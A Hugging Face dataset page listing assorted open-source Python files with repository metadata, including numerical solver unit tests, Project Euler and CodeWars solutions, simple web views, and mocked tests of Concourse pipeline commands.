xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

368572a119fa4f6ce809593971ccc84e309ef4bb

85

py

Python

node_editor/dataframe_model/header_names_view.py

lcopey/node_editor

04d56ae4c7f2149e46903d5dd2e46f3906ef69e6

[ "MIT" ]

1

2021-04-30T11:28:42.000Z

node_editor/dataframe_model/header_names_view.py

lcopey/node_editor

04d56ae4c7f2149e46903d5dd2e46f3906ef69e6

[ "MIT" ]

null

node_editor/dataframe_model/header_names_view.py

lcopey/node_editor

04d56ae4c7f2149e46903d5dd2e46f3906ef69e6

[ "MIT" ]

null

from PyQt5.QtWidgets import QTableView class HeaderNamesView(QTableView): pass

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Python

path_based/__init__.py

lcit/metrics_delin

30f1ad9ccc901e63770f39a80b0e1ec6bbfb34d9

[ "MIT" ]

8

2021-01-25T07:34:04.000Z

2022-03-18T10:29:20.000Z

path_based/__init__.py

lcit/metrics_delin

30f1ad9ccc901e63770f39a80b0e1ec6bbfb34d9

[ "MIT" ]

null

path_based/__init__.py

lcit/metrics_delin

30f1ad9ccc901e63770f39a80b0e1ec6bbfb34d9

[ "MIT" ]

1

2022-01-27T08:12:38.000Z

from .toolong_tooshort_metric import toolong_tooshort from .path_connectivity_metric import opt_p

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py

Python

propagators/long_running_tests.py

mikelytaev/wave-propagation

eff0eb1fc843e4d206b05731e40047e1d810d76f

[ "MIT" ]

15

2019-06-28T17:05:23.000Z

2022-03-22T02:20:39.000Z

propagators/long_running_tests.py

mikelytaev/wave-propagation

eff0eb1fc843e4d206b05731e40047e1d810d76f

[ "MIT" ]

null

propagators/long_running_tests.py

mikelytaev/wave-propagation

eff0eb1fc843e4d206b05731e40047e1d810d76f

[ "MIT" ]

3

2020-10-10T12:41:19.000Z

2021-12-17T14:08:18.000Z

import unittest from propagators.sspade import * from uwa.source import GaussSource import matplotlib.pyplot as plt from matplotlib.colors import Normalize __author__ = 'Lytaev Mikhail (mikelytaev@gmail.com)' def energy_conservation(f: HelmholtzField, eps=1e-11) -> bool: norms = np.linalg.norm(f.field, axis=1) return np.all(np.abs(norms - norms[0]) < eps) def decaying(arr, eps) -> bool: return np.all(arr[1::] < arr[:-1:] + eps) def energy_decaying(f: HelmholtzField, x_start_m=0, eps=1e-7) -> bool: x_i = abs(f.x_grid_m - x_start_m).argmin() norms = np.linalg.norm(f.field[x_i::, :], axis=1) return decaying(norms, eps) def local_bc(lbc): env = HelmholtzEnvironment(x_max_m=1000, z_min=0, z_max=300, lower_bc=lbc, upper_bc=lbc, use_n2minus1=False, use_rho=False) src = GaussSource(freq_hz=1, depth=150, beam_width=15, eval_angle=0) wavelength = 1 k0 = 2*cm.pi / wavelength params = HelmholtzPropagatorComputationalParams(exp_pade_order=(7, 8), max_src_angle=src.max_angle(), dz_wl=0.5, dx_wl=50) propagator = HelmholtzPadeSolver(env=env, wavelength=wavelength, freq_hz=300e6, params=params) initials_fw = [np.empty(0)] * propagator.n_x initials_fw[0] = np.array([src.aperture(k0, z) for z in propagator.z_computational_grid]) f, r = propagator._propagate(initials=initials_fw, direction=1) # plt.imshow(10*np.log10(np.abs(f.field.T[::-1, :])), cmap=plt.get_cmap('jet'), norm=Normalize(-50, 10)) # plt.colorbar(fraction=0.046, pad=0.04) # plt.show() return f def transparent_const_bc(src): env = HelmholtzEnvironment(x_max_m=5000, z_min=0, z_max=300, lower_bc=TransparentBC(), upper_bc=TransparentBC(), use_n2minus1=False, use_rho=False ) wavelength = 0.1 k0 = 2 * cm.pi / wavelength params = HelmholtzPropagatorComputationalParams(exp_pade_order=(7, 8), max_src_angle=src.max_angle(), dz_wl=0.5, dx_wl=50, inv_z_transform_rtol=1e-11 ) propagator = HelmholtzPadeSolver(env=env, wavelength=wavelength, freq_hz=300e6, params=params) initials_fw = [np.empty(0)] * propagator.n_x initials_fw[0] = np.array([src.aperture(k0, z) for z in propagator.z_computational_grid]) f, r = propagator._propagate(initials=initials_fw, direction=1) # plt.imshow(10 * np.log10(np.abs(f.field.T[::-1, :])), cmap=plt.get_cmap('jet'), norm=Normalize(-50, 10)) # plt.colorbar(fraction=0.046, pad=0.04) # plt.show() return f def transparent_const_bc_cn(src): env = HelmholtzEnvironment(x_max_m=5000, z_min=0, z_max=300, lower_bc=TransparentBC(), upper_bc=TransparentBC(), use_n2minus1=False, use_rho=False) wavelength = 0.1 k0 = 2 * cm.pi / wavelength params = HelmholtzPropagatorComputationalParams(exp_pade_order=(1, 1), dx_wl=1, dz_wl=0.1, max_src_angle=src.max_angle() ) propagator = HelmholtzPadeSolver(env=env, wavelength=wavelength, freq_hz=300e6, params=params) initials_fw = [np.empty(0)] * propagator.n_x initials_fw[0] = np.array([src.aperture(k0, z) for z in propagator.z_computational_grid]) f, r = propagator._propagate(initials=initials_fw, direction=1) # plt.imshow(10 * np.log10(np.abs(f.field.T[::-1, :])), cmap=plt.get_cmap('jet'), norm=Normalize(-50, 10)) # plt.colorbar(fraction=0.046, pad=0.04) # plt.show() return f class HelmholtzPropagatorTest(unittest.TestCase): def test_Dirichlet(self): #logging.basicConfig(level=logging.DEBUG) f = local_bc(RobinBC(1, 0, 0)) self.assertTrue(energy_conservation(f, eps=1e-11)) def test_Neumann(self): #logging.basicConfig(level=logging.DEBUG) f = local_bc(RobinBC(0, 1, 0)) self.assertTrue(energy_conservation(f, eps=1e-2)) def test_transparent_const(self): #logging.basicConfig(level=logging.DEBUG) src = GaussSource(freq_hz=1, depth=150, beam_width=15, eval_angle=0) f = transparent_const_bc(src) self.assertTrue(energy_decaying(f, x_start_m=20)) def test_transparent_const_lower(self): #logging.basicConfig(level=logging.DEBUG) src = GaussSource(freq_hz=1, depth=150, beam_width=2, eval_angle=10) f = transparent_const_bc(src) self.assertTrue(energy_decaying(f, x_start_m=20)) self.assertTrue(np.linalg.norm(f.field[-1, :]) < 5e-11) def test_transparent_const_upper(self): #logging.basicConfig(level=logging.DEBUG) src = GaussSource(freq_hz=1, depth=150, beam_width=2, eval_angle=-10) f = transparent_const_bc(src) self.assertTrue(energy_decaying(f, x_start_m=20)) self.assertTrue(np.linalg.norm(f.field[-1, :]) < 5e-11) def test_transparent_const_lower_cn(self): #logging.basicConfig(level=logging.DEBUG) src = GaussSource(freq_hz=1, depth=150, beam_width=2, eval_angle=10) f = transparent_const_bc_cn(src) self.assertTrue(energy_decaying(f, x_start_m=20)) self.assertTrue(np.linalg.norm(f.field[-1, :]) < 1e-5) def test_transparent_const_upper_cn(self): #logging.basicConfig(level=logging.DEBUG) src = GaussSource(freq_hz=1, depth=150, beam_width=2, eval_angle=-10) f = transparent_const_bc_cn(src) self.assertTrue(energy_decaying(f, x_start_m=20)) self.assertTrue(np.linalg.norm(f.field[-1, :]) < 1e-5) def test_nlbc_storage(self): #logging.basicConfig(level=logging.DEBUG) nlbc_file_name = 'nlbc' import os if os.path.isfile(nlbc_file_name): os.remove(nlbc_file_name) env = HelmholtzEnvironment(x_max_m=5000, z_min=0, z_max=300, lower_bc=TransparentBC(), upper_bc=TransparentBC(), use_n2minus1=False, use_rho=False ) wavelength = 0.1 src = GaussSource(freq_hz=1, depth=150, beam_width=15, eval_angle=0) k0 = 2 * cm.pi / wavelength params = HelmholtzPropagatorComputationalParams(exp_pade_order=(7, 8), max_src_angle=src.max_angle(), dz_wl=0.5, dx_wl=50, inv_z_transform_rtol=1e-11, storage=PickleStorage(nlbc_file_name) ) propagator = HelmholtzPadeSolver(env=env, wavelength=wavelength, freq_hz=300e6, params=params) initials_fw = [np.empty(0)] * propagator.n_x initials_fw[0] = np.array([src.aperture(k0, z) for z in propagator.z_computational_grid]) f1, r = propagator._propagate(initials=initials_fw, direction=1) f2, r = propagator._propagate(initials=initials_fw, direction=1) self.assertTrue(os.path.isfile(nlbc_file_name)) self.assertTrue(np.linalg.norm(f1.field - f2.field) < 1e-11) if __name__ == '__main__': logging.basicConfig(level=logging.DEBUG) HelmholtzPropagatorTest.main()

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36cc99af8b9d31de772788fc0952fd5f6f48a2b7

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py

Python

katas/kyu_7/boiled_eggs.py

the-zebulan/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

40

2016-03-09T12:26:20.000Z

2022-03-23T08:44:51.000Z

katas/kyu_7/boiled_eggs.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

null

katas/kyu_7/boiled_eggs.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

36

2016-11-07T19:59:58.000Z

2022-03-31T11:18:27.000Z

from math import ceil def cooking_time(eggs): return ceil(eggs / 8.0) * 5

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36df3946cd8c5d4d13c1906cf45678544ea52cce

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py

Python

tests/networks/test_utils.py

garaytc/reinforcement

e6af258bf2ac3b45c20e0ed3d2f58ca7bc2b232f

[ "Apache-2.0" ]

12

2020-05-19T18:58:55.000Z

2021-02-21T20:26:46.000Z

tests/networks/test_utils.py

garaytc/reinforcement

e6af258bf2ac3b45c20e0ed3d2f58ca7bc2b232f

[ "Apache-2.0" ]

39

2020-05-19T18:41:42.000Z

2021-01-16T08:31:06.000Z

tests/networks/test_utils.py

garaytc/reinforcement

e6af258bf2ac3b45c20e0ed3d2f58ca7bc2b232f

[ "Apache-2.0" ]

2

2020-05-19T15:15:04.000Z

2020-05-21T08:45:59.000Z

from blobrl.networks import get_last_layers from gym.spaces import Box, Discrete, MultiDiscrete, MultiBinary, Tuple, Dict import torch.nn as nn def valid_dim(out_v, out_g): if isinstance(out_v, list): assert len(out_v) == len(out_g) for o, g in zip(out_v, out_g): valid_dim(o, g) else: assert len(out_v.state_dict()) == len(out_g.state_dict()) def test_get_last_layers(): in_values = [ Discrete(10), Discrete(1), Discrete(100), Discrete(5), MultiDiscrete([1]), MultiDiscrete([10, 110, 3, 50]), MultiDiscrete([1, 1, 1]), MultiDiscrete([100, 3, 3, 5]), MultiDiscrete([[100, 3], [3, 5]]), MultiDiscrete([[[100, 3], [3, 5]], [[100, 3], [3, 5]]]), MultiBinary(1), MultiBinary(3), MultiBinary([3, 2]), Box(low=0, high=10, shape=[1]), Box(low=0, high=10, shape=[2, 2]), Box(low=0, high=10, shape=[2, 2, 2]), Tuple([Discrete(1), MultiDiscrete([1, 1])]), Dict({"first": Discrete(1), "second": MultiDiscrete([1, 1])}) ] out_values = [ nn.Linear(10, 10), nn.Linear(10, 1), nn.Linear(10, 100), nn.Linear(10, 5), [nn.Sequential(*[nn.Linear(10, 10), nn.Softmax()])], [nn.Sequential(*[nn.Linear(10, 10), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 110), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 50), nn.Softmax()])], [nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()])], [nn.Sequential(*[nn.Linear(10, 100), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 5), nn.Softmax()])], [[nn.Sequential(*[nn.Linear(10, 100), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()])], [nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 5), nn.Softmax()])]], [ [[nn.Sequential(*[nn.Linear(10, 100), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()])], [nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 5), nn.Softmax()])]], [[nn.Sequential(*[nn.Linear(10, 100), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()])], [nn.Sequential(*[nn.Linear(10, 3), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 5), nn.Softmax()])]] ], [nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()])], [nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()]), nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()]), nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()])], [ [nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()]), nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()])], [nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()]), nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()])], [nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()]), nn.Sequential(*[nn.Linear(10, 1), nn.Sigmoid()])] ], [nn.Linear(10, 1)] , [[nn.Linear(10, 1), nn.Linear(10, 1)], [nn.Linear(10, 1), nn.Linear(10, 1)]] , [[[nn.Linear(10, 1), nn.Linear(10, 1)], [nn.Linear(10, 1), nn.Linear(10, 1)]], [[nn.Linear(10, 1), nn.Linear(10, 1)], [nn.Linear(10, 1), nn.Linear(10, 1)]]], [nn.Linear(10, 1), [nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()])]], [nn.Linear(10, 1), [nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()]), nn.Sequential(*[nn.Linear(10, 1), nn.Softmax()])]], ] for in_value, out_value in zip(in_values, out_values): out_value_gen = get_last_layers(in_value, 10) valid_dim(out_value, out_value_gen)

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Python

microweb/app/views.py

irr/python-labs

43bb3a528c151653b2be832c7ff13240a10e18a4

[ "Apache-2.0" ]

4

2015-11-25T09:06:44.000Z

2019-12-11T21:35:21.000Z

microweb/app/views.py

irr/python-labs

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[ "Apache-2.0" ]

null

microweb/app/views.py

irr/python-labs

43bb3a528c151653b2be832c7ff13240a10e18a4

[ "Apache-2.0" ]

2

2015-11-25T09:19:38.000Z

2016-02-26T03:54:06.000Z

from app import microweb @microweb.route('/') @microweb.route('/index') def index(): return "Hello, World!"

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Python

DJANGO/produtos/views.py

DjCod3r/PythonScripts

95e70ebb81d2bc37b0283daff8ee723c5d2a382c

[ "MIT" ]

null

DJANGO/produtos/views.py

DjCod3r/PythonScripts

95e70ebb81d2bc37b0283daff8ee723c5d2a382c

[ "MIT" ]

null

DJANGO/produtos/views.py

DjCod3r/PythonScripts

95e70ebb81d2bc37b0283daff8ee723c5d2a382c

[ "MIT" ]

null

from django.shortcuts import render # Create your views here. from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(request): return render (request, 'produtos/index.html')

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py

Python

Utils/__init__.py

alirezakazemipour/A3C-ACER-PyTorch

cd2ffbd52137a2677fd85c2890f378992fc82340

[ "MIT" ]

null

Utils/__init__.py

alirezakazemipour/A3C-ACER-PyTorch

cd2ffbd52137a2677fd85c2890f378992fc82340

[ "MIT" ]

null

Utils/__init__.py

alirezakazemipour/A3C-ACER-PyTorch

cd2ffbd52137a2677fd85c2890f378992fc82340

[ "MIT" ]

null

from .atari_wrappers import make_atari from .utils import make_state from .logger import * from .play import Play

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py

Python

p013.py

scottwillmoore/project-euler

e8b24a72d88fc30e8ab701e2f56622c363600ea4

[ "MIT" ]

1

2018-07-09T09:19:58.000Z

p013.py

scottwillmoore/project-euler

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[ "MIT" ]

null

p013.py

scottwillmoore/project-euler

e8b24a72d88fc30e8ab701e2f56622c363600ea4

[ "MIT" ]

null

data = """ 37107287533902102798797998220837590246510135740250 46376937677490009712648124896970078050417018260538 74324986199524741059474233309513058123726617309629 91942213363574161572522430563301811072406154908250 23067588207539346171171980310421047513778063246676 89261670696623633820136378418383684178734361726757 28112879812849979408065481931592621691275889832738 44274228917432520321923589422876796487670272189318 47451445736001306439091167216856844588711603153276 70386486105843025439939619828917593665686757934951 62176457141856560629502157223196586755079324193331 64906352462741904929101432445813822663347944758178 92575867718337217661963751590579239728245598838407 58203565325359399008402633568948830189458628227828 80181199384826282014278194139940567587151170094390 35398664372827112653829987240784473053190104293586 86515506006295864861532075273371959191420517255829 71693888707715466499115593487603532921714970056938 54370070576826684624621495650076471787294438377604 53282654108756828443191190634694037855217779295145 36123272525000296071075082563815656710885258350721 45876576172410976447339110607218265236877223636045 17423706905851860660448207621209813287860733969412 81142660418086830619328460811191061556940512689692 51934325451728388641918047049293215058642563049483 62467221648435076201727918039944693004732956340691 15732444386908125794514089057706229429197107928209 55037687525678773091862540744969844508330393682126 18336384825330154686196124348767681297534375946515 80386287592878490201521685554828717201219257766954 78182833757993103614740356856449095527097864797581 16726320100436897842553539920931837441497806860984 48403098129077791799088218795327364475675590848030 87086987551392711854517078544161852424320693150332 59959406895756536782107074926966537676326235447210 69793950679652694742597709739166693763042633987085 41052684708299085211399427365734116182760315001271 65378607361501080857009149939512557028198746004375 35829035317434717326932123578154982629742552737307 94953759765105305946966067683156574377167401875275 88902802571733229619176668713819931811048770190271 25267680276078003013678680992525463401061632866526 36270218540497705585629946580636237993140746255962 24074486908231174977792365466257246923322810917141 91430288197103288597806669760892938638285025333403 34413065578016127815921815005561868836468420090470 23053081172816430487623791969842487255036638784583 11487696932154902810424020138335124462181441773470 63783299490636259666498587618221225225512486764533 67720186971698544312419572409913959008952310058822 95548255300263520781532296796249481641953868218774 76085327132285723110424803456124867697064507995236 37774242535411291684276865538926205024910326572967 23701913275725675285653248258265463092207058596522 29798860272258331913126375147341994889534765745501 18495701454879288984856827726077713721403798879715 38298203783031473527721580348144513491373226651381 34829543829199918180278916522431027392251122869539 40957953066405232632538044100059654939159879593635 29746152185502371307642255121183693803580388584903 41698116222072977186158236678424689157993532961922 62467957194401269043877107275048102390895523597457 23189706772547915061505504953922979530901129967519 86188088225875314529584099251203829009407770775672 11306739708304724483816533873502340845647058077308 82959174767140363198008187129011875491310547126581 97623331044818386269515456334926366572897563400500 42846280183517070527831839425882145521227251250327 55121603546981200581762165212827652751691296897789 32238195734329339946437501907836945765883352399886 75506164965184775180738168837861091527357929701337 62177842752192623401942399639168044983993173312731 32924185707147349566916674687634660915035914677504 99518671430235219628894890102423325116913619626622 73267460800591547471830798392868535206946944540724 76841822524674417161514036427982273348055556214818 97142617910342598647204516893989422179826088076852 87783646182799346313767754307809363333018982642090 10848802521674670883215120185883543223812876952786 71329612474782464538636993009049310363619763878039 62184073572399794223406235393808339651327408011116 66627891981488087797941876876144230030984490851411 60661826293682836764744779239180335110989069790714 85786944089552990653640447425576083659976645795096 66024396409905389607120198219976047599490197230297 64913982680032973156037120041377903785566085089252 16730939319872750275468906903707539413042652315011 94809377245048795150954100921645863754710598436791 78639167021187492431995700641917969777599028300699 15368713711936614952811305876380278410754449733078 40789923115535562561142322423255033685442488917353 44889911501440648020369068063960672322193204149535 41503128880339536053299340368006977710650566631954 81234880673210146739058568557934581403627822703280 82616570773948327592232845941706525094512325230608 22918802058777319719839450180888072429661980811197 77158542502016545090413245809786882778948721859617 72107838435069186155435662884062257473692284509516 20849603980134001723930671666823555245252804609722 53503534226472524250874054075591789781264330331690 """.strip() numbers = [int(row) for row in data.split("\n")] # Python makes this question way too easy! s = sum(numbers) d = str(s)[:10] print(d)

47.387387

50

0.969011

127

5,260

40.133858

0.96063

0

0.974859

0.024525

5,260

110

51

47.818182

0.018515

0.007605

0

0.977961

0.958222

0

1

0

1

0

false

0

0.009434

0

1

null

0

1

0

1

0

1

null

1

0

6

3d02b19e0923b347aa2ea952bf51ed6b8b81876f

7,083

py

Python

tests/set_pipelines_test.py

Anthonyhawkins/concourse-kit

59c33b9d78480cc0acf32a06aac3b423621ab79f

[ "MIT" ]

null

tests/set_pipelines_test.py

Anthonyhawkins/concourse-kit

59c33b9d78480cc0acf32a06aac3b423621ab79f

[ "MIT" ]

null

tests/set_pipelines_test.py

Anthonyhawkins/concourse-kit

59c33b9d78480cc0acf32a06aac3b423621ab79f

[ "MIT" ]

null

from unittest import mock from unittest.mock import Mock from unittest.mock import patch import pytest import sys import os from concoursekit import set_pipelines from concoursekit import load_config @patch("concoursekit.fly_run") def test_set_pipelines_with_one_env(mock_fly_run): cck_config = load_config() set_pipelines( environments=["dev"], all_flag=True, cck_config=cck_config, plan_flag=False ) mock_fly_run.assert_has_calls([ mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'dev-bar-mgmt', '--config', 'dev-bar-mgmt.yml']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'dev-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'unpause-pipeline', '--pipeline', 'dev-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'dev-baz-mgmt', '--config', 'dev-baz-mgmt.yml', '--non-interactive']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'dev-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'pause-pipeline', '--pipeline', 'dev-baz-mgmt']), mock.call(['fly', '-t', 'concourse', 'set-pipeline', '--pipeline', 'dev-foo-mgmt-install', '--config', 'dev-foo-mgmt-install.yml', '--non-interactive']), mock.call(['fly', '-t', 'concourse', 'hide-pipeline', '--pipeline', 'dev-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'unpause-pipeline', '--pipeline', 'dev-foo-mgmt-install']) ], any_order=True) @patch("concoursekit.fly_run") def test_set_pipelines_with_two_env(mock_fly_run): cck_config = load_config() set_pipelines( environments=["dev", "stage"], all_flag=True, cck_config=cck_config, plan_flag=False ) mock_fly_run.assert_has_calls([ mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'dev-bar-mgmt', '--config', 'dev-bar-mgmt.yml']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'dev-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'unpause-pipeline', '--pipeline', 'dev-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'stage-bar-mgmt', '--config', 'stage-bar-mgmt.yml']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'stage-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'unpause-pipeline', '--pipeline', 'stage-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'dev-baz-mgmt', '--config', 'dev-baz-mgmt.yml', '--non-interactive']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'dev-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'pause-pipeline', '--pipeline', 'dev-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'stage-baz-mgmt', '--config', 'stage-baz-mgmt.yml', '--non-interactive']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'stage-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'pause-pipeline', '--pipeline', 'stage-baz-mgmt']), mock.call(['fly', '-t', 'concourse', 'set-pipeline', '--pipeline', 'dev-foo-mgmt-install', '--config', 'dev-foo-mgmt-install.yml', '--non-interactive']), mock.call(['fly', '-t', 'concourse', 'hide-pipeline', '--pipeline', 'dev-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'unpause-pipeline', '--pipeline', 'dev-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'set-pipeline', '--pipeline', 'stage-foo-mgmt-install', '--config', 'stage-foo-mgmt-install.yml', '--non-interactive']), mock.call(['fly', '-t', 'concourse', 'hide-pipeline', '--pipeline', 'stage-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'unpause-pipeline', '--pipeline', 'stage-foo-mgmt-install']) ], any_order=True) @patch("concoursekit.fly_run") def test_set_pipelines_without_envs(mock_fly_run): cck_config = load_config() set_pipelines( environments=["!sandbox"], all_flag=True, cck_config=cck_config, plan_flag=False ) mock_fly_run.assert_has_calls([ mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'dev-bar-mgmt', '--config', 'dev-bar-mgmt.yml']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'dev-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'unpause-pipeline', '--pipeline', 'dev-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'prod-bar-mgmt', '--config', 'prod-bar-mgmt.yml']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'prod-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'unpause-pipeline', '--pipeline', 'prod-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'stage-bar-mgmt', '--config', 'stage-bar-mgmt.yml']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'stage-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'unpause-pipeline', '--pipeline', 'stage-bar-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'dev-baz-mgmt', '--config', 'dev-baz-mgmt.yml', '--non-interactive']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'dev-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'pause-pipeline', '--pipeline', 'dev-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'prod-baz-mgmt', '--config', 'prod-baz-mgmt.yml', '--non-interactive']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'prod-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'pause-pipeline', '--pipeline', 'prod-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'set-pipeline', '--pipeline', 'stage-baz-mgmt', '--config', 'stage-baz-mgmt.yml', '--non-interactive']), mock.call(['fly', '-t', 'my-team', 'hide-pipeline', '--pipeline', 'stage-baz-mgmt']), mock.call(['fly', '-t', 'my-team', 'pause-pipeline', '--pipeline', 'stage-baz-mgmt']), mock.call(['fly', '-t', 'concourse', 'set-pipeline', '--pipeline', 'dev-foo-mgmt-install', '--config', 'dev-foo-mgmt-install.yml', '--non-interactive']), mock.call(['fly', '-t', 'concourse', 'hide-pipeline', '--pipeline', 'dev-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'unpause-pipeline', '--pipeline', 'dev-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'set-pipeline', '--pipeline', 'stage-foo-mgmt-install', '--config', 'stage-foo-mgmt-install.yml', '--non-interactive']), mock.call(['fly', '-t', 'concourse', 'hide-pipeline', '--pipeline', 'stage-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'unpause-pipeline', '--pipeline', 'stage-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'set-pipeline', '--pipeline', 'prod-foo-mgmt-install', '--config', 'prod-foo-mgmt-install.yml', '--non-interactive']), mock.call(['fly', '-t', 'concourse', 'hide-pipeline', '--pipeline', 'prod-foo-mgmt-install']), mock.call(['fly', '-t', 'concourse', 'unpause-pipeline', '--pipeline', 'prod-foo-mgmt-install']), mock.call(['fly', '-t', 'my-team-stage', 'set-pipeline', '--pipeline', 'stage-zoo-mgmt-install-stage', '--config', 'stage-zoo-mgmt-install-stage.yml']), ], any_order=True)

66.820755

161

0.607934

943

7,083

4.501591

0.060445

0.103651

0.142521

0.155477

0.949117

0.934511

0.915194

0.903416

0

0.10377

7,083

106

162

66.820755

0.668715

0

0.6875

0

0.518492

0.05703

0

0.03125

1

0.03125

false

0

0.083333

0

0.114583

0

null

0

1

0

null

0

6

3d5cf1631c30a614aa6de76de6a9e79b8d565286

32

py

Python

aiproteomics/rt/datasets/__init__.py

ai-proteomics/aiproteomics

125aed4b3528bfd40349ef932034d9532ab969c3

[ "Apache-2.0" ]

null

aiproteomics/rt/datasets/__init__.py

ai-proteomics/aiproteomics

125aed4b3528bfd40349ef932034d9532ab969c3

[ "Apache-2.0" ]

14

2022-03-30T19:49:30.000Z

2022-03-31T11:39:27.000Z

aiproteomics/rt/datasets/__init__.py

ai-proteomics/aiproteomics

125aed4b3528bfd40349ef932034d9532ab969c3

[ "Apache-2.0" ]

null

from . import AIProteomicsHela1

16

31

0.84375

3

32

9

1

0

0.035714

0.125

32

1

32

0.928571

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

1864f0f352df51dde8cedb5d0c2bfa627f9b2e93

161

py

Python

jumpscale/clients/syncthing/__init__.py

zaibon/js-sdk

cd1d26f2c3343884c1927ceef7c1e12e3f7da905

[ "Apache-2.0" ]

13

2020-09-02T09:05:08.000Z

2022-03-12T02:43:24.000Z

jumpscale/clients/syncthing/__init__.py

zaibon/js-sdk

cd1d26f2c3343884c1927ceef7c1e12e3f7da905

[ "Apache-2.0" ]

1,998

2020-06-15T11:46:10.000Z

2022-03-24T22:12:41.000Z

jumpscale/clients/syncthing/__init__.py

zaibon/js-sdk

cd1d26f2c3343884c1927ceef7c1e12e3f7da905

[ "Apache-2.0" ]

8

2020-09-29T06:50:35.000Z

2021-06-14T03:30:52.000Z

def export_module_as(): from jumpscale.core.base import StoredFactory from .syncthing import SyncthingClient return StoredFactory(SyncthingClient)

23

49

0.78882

17

161

7.352941

0.764706

0

0.161491

161

6

50

26.833333

0.925926

0

1

0.25

true

0

0.5

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

a10617704e4d9fc613fdf949c90f383e74b505a6

41

py

Python

part2/__init__.py

gdhGaoFei/Python01

a9fef5290479d575725e2ddbb83c5f2d192606c6

[ "MIT" ]

1

2019-06-22T23:27:48.000Z

part2/__init__.py

gdhGaoFei/Python01

a9fef5290479d575725e2ddbb83c5f2d192606c6

[ "MIT" ]

null

part2/__init__.py

gdhGaoFei/Python01

a9fef5290479d575725e2ddbb83c5f2d192606c6

[ "MIT" ]

null

